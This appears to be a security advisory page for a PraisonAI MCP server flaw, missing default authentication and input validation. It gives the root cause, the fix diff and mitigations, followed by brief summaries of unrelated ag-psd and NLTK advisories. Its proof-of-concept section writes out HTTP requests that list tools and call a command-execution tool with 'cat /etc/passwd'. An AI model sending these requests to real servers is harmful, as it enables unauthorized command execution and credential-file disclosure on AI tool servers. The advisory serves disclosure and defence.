Oct 8, 2026·4 min read·24 visits
Unauthenticated remote attackers can query and invoke administrative tools on PraisonAI MCP servers due to missing default authentication and input validation.
CVE-2026-61427 is a critical authentication bypass and improper input validation vulnerability within the Model Context Protocol (MCP) HTTP-stream server of PraisonAI. In versions prior to 4.6.78, the server lacks authentication by default and forwards client messages directly to Python tool handlers without input validation. When bound to non-localhost interfaces, this permits unauthenticated remote attackers to perform unauthorized administrative operations and execute tools.
The Model Context Protocol (MCP) is an architectural standard designed to connect Large Language Models (LLMs) securely to external data repositories and execution tools. PraisonAI implements this protocol using a Server-Sent Events (SSE) server to manage downstream traffic and standard HTTP POST endpoints for receiving client requests.
Prior to version 4.6.78, the PraisonAI MCP HTTP-stream integration exposed critical interfaces without authentication by default. If an administrator failed to specify an API key, the authorization block was omitted from execution entirely. This design decision exposed a broad attack surface, allowing anyone with access to the server port to interact with underlying tools.
This flaw becomes highly critical when operators bind the MCP server to non-loopback network interfaces, such as 0.0.0.0. This configuration enables unauthenticated remote clients to fully enumerate capabilities and trigger python execution routines.
The primary root cause lies within src/praisonai/praisonai/mcp_server/transports/http_stream.py. Inside the endpoint logic, authentication is conditionally validated based on the existence of a configured API key. If the command-line execution parameter --api-key is not supplied, self.api_key defaults to None, bypassing the authorization check.
# Conditional check allowing execution without authorization headers
if self.api_key is not None:
auth_header = request.headers.get("Authorization")
if not auth_header or not auth_header.startswith("Bearer "):
return HTTP_401_UNAUTHORIZEDA secondary root cause is improper input validation during parameter parsing. The MCP message dispatcher accepts arguments for tools/call requests and passes them directly into Python tool handlers. The dispatcher completely skips schema matching (inputSchema), rendering structural parameters unvalidated.
To remediate the vulnerability, the initialization sequence of the HttpStreamTransport class was modified in commit 393de394087e3badc79acfec490323bcc99638bd. Developers introduced a strict verification check that halts execution if the server is exposed externally without an active API key configuration.
diff --git a/src/praisonai/praisonai/mcp_server/transports/http_stream.py b/src/praisonai/praisonai/mcp_server/transports/http_stream.py
--- a/src/praisonai/praisonai/mcp_server/transports/http_stream.py
+++ b/src/praisonai/praisonai/mcp_server/transports/http_stream.py
@@ -109,6 +109,11 @@ def __init__(
else:
self.allowed_origins = allowed_origins
+
+ # Verify that an api_key is configured when binding externally
+ if host not in ("127.0.0.1", "localhost", "::1") and not self.api_key:
+ raise ValueError(
+ "api_key is required when MCP HTTP-stream binds to a non-localhost address"
+ )While this fix prevents network-level exploitation of default configurations, it does not mandate authentication for servers bound to localhost (127.0.0.1). If a local attacker, or a remote adversary leveraging Cross-Origin Resource Sharing (CORS) bypasses, interacts with the local port, unauthenticated tool execution remains possible.
Exploiting this flaw requires three sequential protocol steps: establishing an SSE stream, retrieving the schema structure of target tools, and dispatching a payload containing the execution request.
First, the attacker opens a persistent downstream channel to receive event notifications:
GET /sse HTTP/1.1
Host: target-ip:8000
Accept: text/event-streamAfter retrieving a valid session identifier, the attacker lists available capabilities using the tools/list JSON-RPC method. This request is completed without any authorization parameters:
POST /message?session_id=attacker-session-123 HTTP/1.1
Host: target-ip:8000
Content-Type: application/json
{
"jsonrpc": "2.0",
"method": "tools/list",
"id": 1
}Finally, the attacker invokes an administrative tool (such as local command execution utilities) by targeting tools/call. Because parameter schemas are not validated, arbitrary command arguments are executed directly by the runtime environment:
POST /message?session_id=attacker-session-123 HTTP/1.1
Host: target-ip:8000
Content-Type: application/json
{
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"name": "execute_command",
"arguments": {
"command": "cat /etc/passwd"
}
},
"id": 2
}System administrators must immediately upgrade PraisonAI to version 4.6.78 or later to restrict unauthenticated external bindings. Deployments using older versions must configure an API key on the command line interface.
pip install --upgrade praisonaiIf upgrading is delayed, configure firewall filtering rules to restrict port 8000 (or the configured MCP port) strictly to loopback interfaces. This prevents external hosts from accessing endpoints directly:
iptables -A INPUT -p tcp -s 127.0.0.1 --dport 8000 -j ACCEPT
iptables -A INPUT -p tcp --dport 8000 -j DROPAdditionally, always launch services with explicit, randomly generated API keys rather than relying on default framework configurations:
praisonai mcp serve --transport http-stream --api-key "$(openssl rand -hex 32)" --host 0.0.0.0CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L| Product | Affected Versions | Fixed Version |
|---|---|---|
PraisonAI MervinPraison | < 4.6.78 | 4.6.78 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-306 (Missing Authentication), CWE-20 (Improper Input Validation) |
| Attack Vector | Network |
| CVSS v3.1 | 7.3 (High) |
| EPSS Score | 0.00389 (~0.39% probability) |
| Exploit Status | Proof of Concept (PoC) |
| CISA KEV Status | Not Listed |
The product does not perform authentication for functionality that requires a provable user identity, and fails to validate inputs.
An uncontrolled memory allocation vulnerability exists in ag-psd versions prior to 31.0.0. When parsing Adobe Photoshop Document (PSD) files, the readPsd() function reads image dimensions and color depth directly from the file header and allocates off-heap typed arrays without validating whether the requested memory size is proportional to the input stream or bounded by operational thresholds. An unauthenticated attacker can supply a crafted 52-byte PSD payload that triggers an immediate 3.35 GB memory allocation, resulting in process termination via the operating system Out-Of-Memory (OOM) killer.
CVE-2026-126297 (GHSA-v8f3-6phw-6mh9) is an uncontrolled resource consumption and algorithmic complexity vulnerability in the Natural Language Toolkit (NLTK) prior to version 3.10.4. Located in the Semantic Role Labeling (SRL) parser within `nltk/corpus/reader/conll.py`, the flaw allows an attacker to trigger quadratic O(N^2) CPU processing overhead by providing crafted CoNLL-formatted corpus inputs containing decoy span columns or nested full-width verb spans. Applications parsing untrusted linguistic corpora can experience prolonged CPU exhaustion and application-level Denial of Service (DoS).
CVE-2026-126298 (also tracked as GHSA-r53h-rw34-8h97) is an algorithmic complexity Denial of Service (DoS) vulnerability in the Natural Language Toolkit (NLTK) Python library affecting all versions prior to 3.10.4. The vulnerability resides in the nltk.tree.transforms.chomsky_normal_form function and its corresponding public method Tree.chomsky_normal_form(). When transforming a parse tree into Chomsky Normal Form using the default right-factoring strategy, the function repeatedly invokes list.pop(0) inside a loop iterating over all children of a node. In CPython, removing the initial element of a standard list requires an O(N) memory shift operation, causing the overall binarization algorithm to degrade to O(N^2) quadratic time complexity relative to the width of a node. Furthermore, converting horizontal node width into vertical tree depth bypasses initial parsing depth bounds, triggering subsequent stack exhaustion (RecursionError) when recursive methods traverse the mutated structure. Unauthenticated remote attackers who can submit bracketed tree strings to applications invoking this transformation can exhaust single-threaded CPU resources or induce unhandled application exceptions.
An algorithmic complexity vulnerability (CWE-407) in the Natural Language Toolkit (NLTK) before version 3.10.4 allows remote unauthenticated attackers to cause a denial of service via crafted Combinatory Categorial Grammar (CCG) lexicon strings. The parser in nltk.ccg.lexicon.fromstring performs repeated immutable string slicing, concatenation, and regex tail capturing, resulting in O(n^2) CPU consumption when processing wide, flat category definitions.
CVE-2026-126295 (also tracked as GHSA-fg9w-wfp5-j933) is a path confinement bypass vulnerability in the Natural Language Toolkit (NLTK) affecting versions 3.10.0 prior to 3.10.4. The flaw resides in nltk/parse/bllip.py within the BllipParser class and its factory method BllipParser.from_unified_model_dir(). Unlike sibling tool wrappers in NLTK that enforce data-root confinement via the nltk.pathsec module, BllipParser passes caller-supplied filesystem paths directly into the third-party bllipparser native C extension without validation. When an application passes untrusted input as model paths or directories to BllipParser, an attacker can force the native extension to open arbitrary files on the local filesystem. This leads to information disclosure through parser diagnostic oracles, local model tampering via shared directories, and denial of service by hanging worker threads on blocking special files (such as FIFOs or device nodes) or exhausting memory via oversized files.
CVE-2026-126300 (GHSA-ffr9-mgrr-wcvr) is an inefficient algorithmic complexity vulnerability (CWE-407) in the Natural Language Toolkit (NLTK) Python library affecting versions 3.2.5 prior to 3.10.4. The flaw resides in the quote-restoration routine of TreebankWordTokenizer.span_tokenize and NLTKWordTokenizer.span_tokenize, where repeated calls to list.pop(0) over matched quote tokens introduce quadratic O(n^2) time complexity. An unauthenticated remote attacker who supplies input containing long sequences of double-quote characters can exhaust CPU resources and degrade service availability.